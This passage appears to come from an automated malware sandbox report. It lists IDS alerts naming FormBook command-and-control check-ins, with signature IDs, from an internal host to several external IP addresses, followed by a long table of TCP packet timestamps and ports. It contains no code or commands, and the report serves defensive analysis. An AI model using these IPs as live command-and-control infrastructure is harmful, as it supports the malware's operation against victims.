2024-10-08T15:24:50.524512+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49787	3.131.150.69	80	TCP
2024-10-08T15:24:50.524512+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49787	3.131.150.69	80	TCP
2024-10-08T15:25:00.871354+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49788	3.33.130.190	80	TCP
2024-10-08T15:25:03.506247+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49789	3.33.130.190	80	TCP
2024-10-08T15:25:07.041930+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49790	3.33.130.190	80	TCP
2024-10-08T15:25:08.785883+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49791	3.33.130.190	80	TCP
2024-10-08T15:25:08.785883+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49791	3.33.130.190	80	TCP
2024-10-08T15:25:14.125891+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49792	199.59.243.227	80	TCP
2024-10-08T15:25:16.747372+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49793	199.59.243.227	80	TCP
2024-10-08T15:25:19.376873+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49794	199.59.243.227	80	TCP
2024-10-08T15:25:22.011037+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49795	199.59.243.227	80	TCP
2024-10-08T15:25:22.011037+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49795	199.59.243.227	80	TCP
2024-10-08T15:25:30.303212+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49796	199.59.243.227	80	TCP
2024-10-08T15:25:30.303212+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49796	199.59.243.227	80	TCP
2024-10-08T15:27:07.884894+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49797	3.33.130.190	80	TCP
2024-10-08T15:27:11.425966+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49798	3.33.130.190	80	TCP
2024-10-08T15:27:13.165122+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49799	3.33.130.190	80	TCP
2024-10-08T15:27:15.804310+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49800	3.33.130.190	80	TCP
2024-10-08T15:27:15.804310+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49800	3.33.130.190	80	TCP
2024-10-08T15:27:21.921725+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49801	3.33.130.190	80	TCP
2024-10-08T15:27:23.660805+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49802	3.33.130.190	80	TCP
2024-10-08T15:27:26.301692+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49803	3.33.130.190	80	TCP
2024-10-08T15:27:28.943956+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49804	3.33.130.190	80	TCP
2024-10-08T15:27:28.943956+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49804	3.33.130.190	80	TCP
2024-10-08T15:27:34.160002+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49805	3.33.130.190	80	TCP
2024-10-08T15:27:38.213343+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49806	3.33.130.190	80	TCP
2024-10-08T15:27:40.363849+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49807	3.33.130.190	80	TCP
2024-10-08T15:27:42.080777+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49808	3.33.130.190	80	TCP
2024-10-08T15:27:42.080777+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49808	3.33.130.190	80	TCP
2024-10-08T15:27:47.901620+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49809	66.198.240.15	80	TCP
2024-10-08T15:27:50.531834+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49810	66.198.240.15	80	TCP
2024-10-08T15:27:53.178738+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49811	66.198.240.15	80	TCP
2024-10-08T15:27:55.739745+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49812	66.198.240.15	80	TCP
2024-10-08T15:27:55.739745+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49812	66.198.240.15	80	TCP
2024-10-08T15:28:00.966387+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49813	75.2.103.23	80	TCP
2024-10-08T15:28:03.609590+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49814	75.2.103.23	80	TCP
2024-10-08T15:28:06.248229+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49815	75.2.103.23	80	TCP
2024-10-08T15:28:08.884840+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49816	75.2.103.23	80	TCP
2024-10-08T15:28:08.884840+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49816	75.2.103.23	80	TCP
2024-10-08T15:28:14.257256+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49817	213.249.67.10	80	TCP
2024-10-08T15:28:16.955870+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49818	213.249.67.10	80	TCP
2024-10-08T15:28:19.670064+0200	2855464	ETPRO MALWARE FormBook CnC Checkin (POST) M3	1	192.168.11.20	49819	213.249.67.10	80	TCP
2024-10-08T15:28:22.362879+0200	2050745	ET MALWARE FormBook CnC Checkin (GET) M5	1	192.168.11.20	49820	213.249.67.10	80	TCP
2024-10-08T15:28:22.362879+0200	2855465	ETPRO MALWARE FormBook CnC Checkin (GET) M2	1	192.168.11.20	49820	213.249.67.10	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 8, 2024 15:20:19.996104002 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.090905905 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:20.091171026 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.097307920 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.192332029 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:20.200261116 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:20.200388908 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:20.200472116 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:20.200686932 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.200686932 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.203541994 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.205106020 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:20.205347061 CEST	49737	80	192.168.11.20	199.59.243.227
Oct 8, 2024 15:20:20.299649000 CEST	80	49737	199.59.243.227	192.168.11.20
Oct 8, 2024 15:20:36.038620949 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:20:37.039964914 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:20:39.055177927 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:20:43.069952011 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:20:51.083951950 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:20:58.116067886 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:20:59.128885031 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:01.144017935 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:05.158832073 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:13.172696114 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:20.206264019 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:21.217844009 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:23.217336893 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:27.232115984 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:35.246010065 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:42.278264999 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:43.291114092 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:45.306304932 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:49.321023941 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:21:57.334898949 CEST	49738	80	192.168.11.20	47.238.157.253
Oct 8, 2024 15:22:08.546825886 CEST	49739	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:08.646725893 CEST	80	49739	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:08.646995068 CEST	49739	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:08.654428959 CEST	49739	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:08.754096985 CEST	80	49739	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:09.680385113 CEST	80	49739	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:09.680569887 CEST	49739	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:10.160316944 CEST	49739	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:10.259573936 CEST	80	49739	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:11.177913904 CEST	49740	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:11.277273893 CEST	80	49740	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:11.277395964 CEST	49740	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:11.285831928 CEST	49740	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:11.385132074 CEST	80	49740	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:11.386898994 CEST	80	49740	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:11.387041092 CEST	49740	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:12.800293922 CEST	49740	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:12.899553061 CEST	80	49740	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:13.818238974 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:13.917680025 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:13.917949915 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:13.925614119 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:13.925662041 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:13.925710917 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:14.025243998 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:14.025362968 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:14.025489092 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:14.025496960 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:14.025744915 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:14.025753021 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:14.025760889 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:15.440375090 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:15.580446959 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:16.457957029 CEST	49742	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:16.557418108 CEST	80	49742	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:16.557674885 CEST	49742	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:16.562722921 CEST	49742	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:16.662125111 CEST	80	49742	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:16.684779882 CEST	80	49742	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:16.684875965 CEST	80	49742	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:16.685039043 CEST	49742	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:16.687000990 CEST	49742	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:16.692539930 CEST	80	49742	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:16.692682981 CEST	49742	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:16.786448956 CEST	80	49742	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:21.168348074 CEST	80	49741	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:21.168483019 CEST	49741	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:21.801455021 CEST	49743	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:21.901071072 CEST	80	49743	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:21.901242971 CEST	49743	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:21.908663034 CEST	49743	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:22.008105040 CEST	80	49743	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:23.423013926 CEST	49743	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:23.563404083 CEST	80	49743	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:24.440618992 CEST	49744	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:24.540131092 CEST	80	49744	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:24.540338993 CEST	49744	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:24.547811985 CEST	49744	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:24.647264957 CEST	80	49744	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:24.648873091 CEST	80	49744	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:24.649012089 CEST	49744	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:24.936741114 CEST	80	49743	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:24.937011003 CEST	49743	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:26.063034058 CEST	49744	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:26.162322998 CEST	80	49744	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.080627918 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:27.188410044 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.188594103 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:27.196217060 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:27.196258068 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:27.196310043 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:27.295654058 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.295768023 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.295906067 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.295917034 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.295954943 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.296120882 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:27.296132088 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:28.703100920 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:28.844238997 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:29.720711946 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:29.820055008 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:29.820225000 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:29.825237989 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:29.924515009 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:30.827374935 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:30.827390909 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:30.827641964 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:30.829560041 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:30.835094929 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:30.835192919 CEST	49746	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:30.928800106 CEST	80	49746	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:34.242002964 CEST	80	49745	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:34.242213011 CEST	49745	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:35.956867933 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:36.055996895 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:36.056138039 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:36.063596964 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:36.162708998 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:36.164262056 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:36.164479971 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:37.576169014 CEST	49747	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:37.675782919 CEST	80	49747	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:38.593709946 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:38.693006992 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:38.693175077 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:38.700634003 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:38.800076962 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:39.715964079 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:39.716094017 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:40.216192007 CEST	49748	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:40.315437078 CEST	80	49748	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.233798027 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:41.333677053 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.333964109 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:41.341571093 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:41.341590881 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:41.441587925 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.441688061 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.441698074 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.441705942 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.441714048 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.441721916 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.441772938 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.444834948 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:41.444972038 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:42.856261969 CEST	49749	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:42.956140041 CEST	80	49749	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:43.873858929 CEST	49750	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:43.973308086 CEST	80	49750	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:43.973582983 CEST	49750	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:43.978610039 CEST	49750	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:44.077862024 CEST	80	49750	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:47.011672020 CEST	80	49750	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:47.011687994 CEST	80	49750	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:47.011902094 CEST	49750	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:47.013874054 CEST	49750	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:47.016402960 CEST	80	49750	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:47.016544104 CEST	49750	80	192.168.11.20	3.33.130.190
Oct 8, 2024 15:22:47.113239050 CEST	80	49750	3.33.130.190	192.168.11.20
Oct 8, 2024 15:22:52.213398933 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.319551945 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.319844961 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.327281952 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.433432102 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.650743008 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.650866985 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.650882959 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.650897026 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.650968075 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.651066065 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.651081085 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.651107073 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.651120901 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.651211023 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.651321888 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.651321888 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.651321888 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.651473999 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.757340908 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757498980 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757527113 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757548094 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757711887 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757726908 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757735014 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.757747889 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757761002 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757785082 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.757931948 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.757931948 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:52.757949114 CEST	80	49751	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:52.758270979 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:53.838227987 CEST	49751	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:54.856400013 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:54.962492943 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:54.962666988 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:54.970079899 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.076123953 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288132906 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288209915 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288223028 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288331985 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288346052 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288463116 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.288496971 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288511038 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288609028 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288615942 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.288631916 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288644075 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.288816929 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.288986921 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.394735098 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394778967 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394792080 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394804001 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394829035 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394857883 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394870043 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394893885 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394922972 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.394931078 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.394932985 CEST	80	49752	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:55.395123959 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:55.395123959 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:56.478276968 CEST	49752	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.495852947 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.602154970 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.602284908 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.610833883 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.610855103 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.610898972 CEST	49753	80	192.168.11.20	66.198.240.15
Oct 8, 2024 15:22:57.717164993 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.717180967 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.717190027 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.717303991 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929244995 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929374933 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929392099 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929425955 CEST	80	49753	66.198.240.15	192.168.11.20
Oct 8, 2024 15:22:57.929439068 CEST	80	49753	66.198.240.15	192.168.11.20
